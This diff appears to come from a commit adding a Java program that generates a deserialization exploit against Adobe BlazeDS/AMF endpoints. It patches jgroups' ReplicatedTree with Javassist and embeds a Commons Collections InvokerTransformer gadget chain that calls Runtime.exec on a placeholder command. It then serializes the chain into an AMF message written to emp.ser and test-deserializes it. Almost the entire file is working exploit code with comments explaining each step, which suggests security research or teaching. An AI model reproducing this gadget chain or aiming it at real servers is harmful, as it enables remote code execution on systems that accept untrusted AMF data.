1
+ import flex .messaging .io .SerializationContext ;
2
+ import flex .messaging .io .amf .*;
3
+
4
+ import javassist .*;
5
+ import org .apache .commons .collections .Transformer ;
6
+ import org .apache .commons .collections .functors .ChainedTransformer ;
7
+ import org .apache .commons .collections .functors .ConstantTransformer ;
8
+ import org .apache .commons .collections .functors .InvokerTransformer ;
9
+ import org .apache .commons .collections .keyvalue .TiedMapEntry ;
10
+ import org .apache .commons .collections .map .LazyMap ;
11
+
12
+ import org .jgroups .blocks .ReplicatedTree ;
13
+
14
+
15
+ import java .io .*;
16
+ import java .lang .reflect .Constructor ;
17
+ import java .lang .reflect .Field ;
18
+ import java .lang .Class ;
19
+ import java .nio .file .Files ;
20
+ import java .util .*;
21
+
22
+ public class Test1 {
23
+ public static void main (String [] args ) throws Exception {
24
+ // Add a new field called state which is a byte array to org.jgroups.blocks.ReplicatedTree
25
+ ClassPool pool = ClassPool .getDefault ();
26
+ CtClass ctClass = pool .get ("org.jgroups.blocks.ReplicatedTree" );
27
+ CtClass ctClass1 = pool .get ("byte[]" );
28
+ CtField ctField = new CtField (ctClass1 , "state" , ctClass );
29
+ ctClass .addField (ctField );
30
+
31
+ // Remove the default getState method and replace it with our own getState method that
32
+ // just returns the state field that we added in above.
33
+ ctClass .removeMethod (ctClass .getDeclaredMethod ("getState" ));
34
+ CtMethod ctMethod = CtNewMethod .make ("public byte[] getState(){ return this.state; }" , ctClass );
35
+ ctClass .addMethod (ctMethod );
36
+
37
+ // Remember that the ByteArrayOutputStream is cast into an ObjectOutputStream, aka the
38
+ // ObjectOutputStream relies on an underlying ByteArrayOutputStream, as can be seen in
39
+ // the code below. Here we also create an object that will call calc.exe and write that
40
+ // resulting object into the object output stream, before then closing the stream.
41
+ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();
42
+ ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream );
43
+ objectOutputStream .writeObject (getObject2 ("PAYLOAD" ));
44
+ objectOutputStream .close ();
45
+
46
+ // Convert the byte array containing the object stream into
47
+ // a byte array and save that into secondObj
48
+ byte [] secondObj = byteArrayOutputStream .toByteArray ();
49
+
50
+ // First we create a ReplicatedTree object here, which is part of our desire
51
+ // to get org.jgroups.block.ReplicatedTree.setState() to be called. Note that we use
52
+ // ctClass, aka the adjusted class that had the "state" field added and the "getState" method
53
+ // adjusted, to do this. Then set the "state" field to be accessible and set its value
54
+ // to that of secondObj, or the object stream created by getObject2().
55
+ Constructor constctor = ctClass .toClass ().getConstructor ();
56
+ ReplicatedTree replicatedTree = (ReplicatedTree ) constctor .newInstance ();
57
+ Field f1 = replicatedTree .getClass ().getDeclaredField ("state" );
58
+ f1 .setAccessible (true );
59
+ f1 .set (replicatedTree , secondObj );
60
+
61
+ // Now that the real object returned by getObject2() has been wrapped in a ReplicatedTree object,
62
+ // serialize this object and wrap it further into an AMF object, then return its byte stream and
63
+ // save this into the byte array "ser".
64
+ byte [] ser = serialize (replicatedTree );
65
+
66
+ // Finally write the output via a FileOutputStream to the file "emp.ser" on disk.
67
+ FileOutputStream fileOutputStream = new FileOutputStream ("emp.ser" );
68
+ fileOutputStream .write (ser );
69
+ fileOutputStream .close ();
70
+
71
+ // Now that we have written all of the bytes to disk, lets find the path of the emp.ser file on disk, pass that
72
+ // into File.readAllBytes, and then pass the resulting byte array and save into into sercontent, then deserialize that
73
+ // content to check the deserialization works properly.
74
+ byte [] serContent = Files .readAllBytes ((new File ("emp.ser" )).toPath ());
75
+ deserialize (serContent );
76
+ }
77
+
78
+ public static byte [] serialize (Object data ) throws IOException {
79
+ // Create the MessageBody element that will contain the data to be recreated using readObject().
80
+ // Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
81
+ // if you need more info on this.
82
+ MessageBody body = new MessageBody ();
83
+ body .setData (data );
84
+
85
+ // Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
86
+ // end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
87
+ // this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
88
+ // here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
89
+ ActionMessage message = new ActionMessage ();
90
+ message .addBody (body );
91
+
92
+ // Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
93
+ // Then call out.toByteArray() to get the byte array version of the resulting serialized object.
94
+ ByteArrayOutputStream out = new ByteArrayOutputStream ();
95
+ AmfMessageSerializer serializer = new AmfMessageSerializer ();
96
+ serializer .initialize (SerializationContext .getSerializationContext (), out , null );
97
+ serializer .writeMessage (message );
98
+
99
+ return out .toByteArray ();
100
+ }
101
+
102
+ public static void deserialize (byte [] amf ) throws ClassNotFoundException , IOException {
103
+ // Since we take in a byte array, lets first create a ByteArrayInputStream, which is the
104
+ // opposite of the ByteArrayOutputStream that was created earlier when serializing the object,
105
+ // and pass it "amf", aka the byte array stream we want to process.
106
+ ByteArrayInputStream in = new ByteArrayInputStream (amf );
107
+
108
+ // Create a new AmfMessageDeserializer object to deserialize the AMF message that was serialized using AmfMessageSerializer.
109
+ AmfMessageDeserializer deserializer = new AmfMessageDeserializer ();
110
+ deserializer .initialize (SerializationContext .getSerializationContext (), in , null ); // Same initialization function call, don't wnat to change this.
111
+ deserializer .readMessage (new ActionMessage (), new ActionContext ()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
112
+ }
113
+
114
+
115
+ public static Serializable getObject2 (final String command ) throws Exception {
116
+
117
+ final String [] execArgs = new String [] { command };
118
+
119
+ final Transformer [] transformers = new Transformer [] {
120
+ new ConstantTransformer (Runtime .class ),
121
+ new InvokerTransformer ("getMethod" , new Class [] {
122
+ String .class , Class [].class }, new Object [] {
123
+ "getRuntime" , new Class [0 ] }),
124
+ new InvokerTransformer ("invoke" , new Class [] {
125
+ Object .class , Object [].class }, new Object [] {
126
+ null , new Object [0 ] }),
127
+ new InvokerTransformer ("exec" ,
128
+ new Class [] { String .class }, execArgs ),
129
+ new ConstantTransformer (1 ) };
130
+
131
+ Transformer transformerChain = new ChainedTransformer (transformers );
132
+
133
+ final Map innerMap = new HashMap ();
134
+
135
+ final Map lazyMap = LazyMap .decorate (innerMap , transformerChain );
136
+
137
+ TiedMapEntry entry = new TiedMapEntry (lazyMap , "foo" );
138
+
139
+ HashSet map = new HashSet (1 );
140
+ map .add ("foo" );
141
+ Field f = null ;
142
+ try {
143
+ f = HashSet .class .getDeclaredField ("map" );
144
+ } catch (NoSuchFieldException e ) {
145
+ f = HashSet .class .getDeclaredField ("backingMap" );
146
+ }
147
+
148
+ f .setAccessible (true );
149
+ HashMap innimpl = (HashMap ) f .get (map );
150
+
151
+ Field f2 = null ;
152
+ try {
153
+ f2 = HashMap .class .getDeclaredField ("table" );
154
+ } catch (NoSuchFieldException e ) {
155
+ f2 = HashMap .class .getDeclaredField ("elementData" );
156
+ }
157
+
158
+ f2 .setAccessible (true );
159
+ Object [] array = (Object []) f2 .get (innimpl );
160
+
161
+ Object node = array [0 ];
162
+ if (node == null ){
163
+ node = array [1 ];
164
+ }
165
+
166
+ Field keyField = null ;
167
+ try {
168
+ keyField = node .getClass ().getDeclaredField ("key" );
169
+ }catch (Exception e ){
170
+ keyField = Class .forName ("java.util.MapEntry" ).getDeclaredField ("key" );
171
+ }
172
+
173
+ keyField .setAccessible (true );
174
+ keyField .set (node , entry );
175
+
176
+ return map ;
177
+
178
+ }
179
+ }
0 commit comments